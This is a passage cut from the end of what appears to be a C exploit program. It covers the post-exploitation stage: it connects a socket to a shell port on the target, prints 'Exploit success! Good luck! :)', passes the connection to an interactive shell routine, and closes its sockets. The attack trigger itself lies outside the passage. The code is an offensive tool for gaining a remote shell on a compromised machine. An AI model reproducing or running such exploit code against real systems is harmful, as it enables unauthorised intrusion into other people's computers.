  712.                 server.sin_family = AF_INET;
  713.                 server.sin_port = htons(shport);
  714.                 server.sin_addr.s_addr=inet_addr(ip);
  715.  
  716.                 ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
  717.                 if(ret!=0)
  718.                 {
  719.                     printf("[-] Exploit seem failed.\n");
  720.                     __leave;
  721.                 }
  722.             
  723.                 printf("[+] Exploit success! Good luck! :)\n");
  724.                 printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  725.                 shell(s2);
  726.             }
  727.         }    
  728.     }
  729.  
  730. #ifdef UNIX
  731. exit_try:
  732. #endif
  733.  
  734. #ifndef UNIX
  735.      __finally
  736. #endif
  737.     {
  738.         if(s != INVALID_SOCKET) closesocket(s);
  739.         if(s2 != INVALID_SOCKET) closesocket(s2);
  740.         if(s3 != INVALID_SOCKET) closesocket(s3);
  741.         
  742. #ifndef UNIX
  743.         WSACleanup();
  744. #endif
  745.     }
  746.  
  747.     return 0;
  748. }
  749.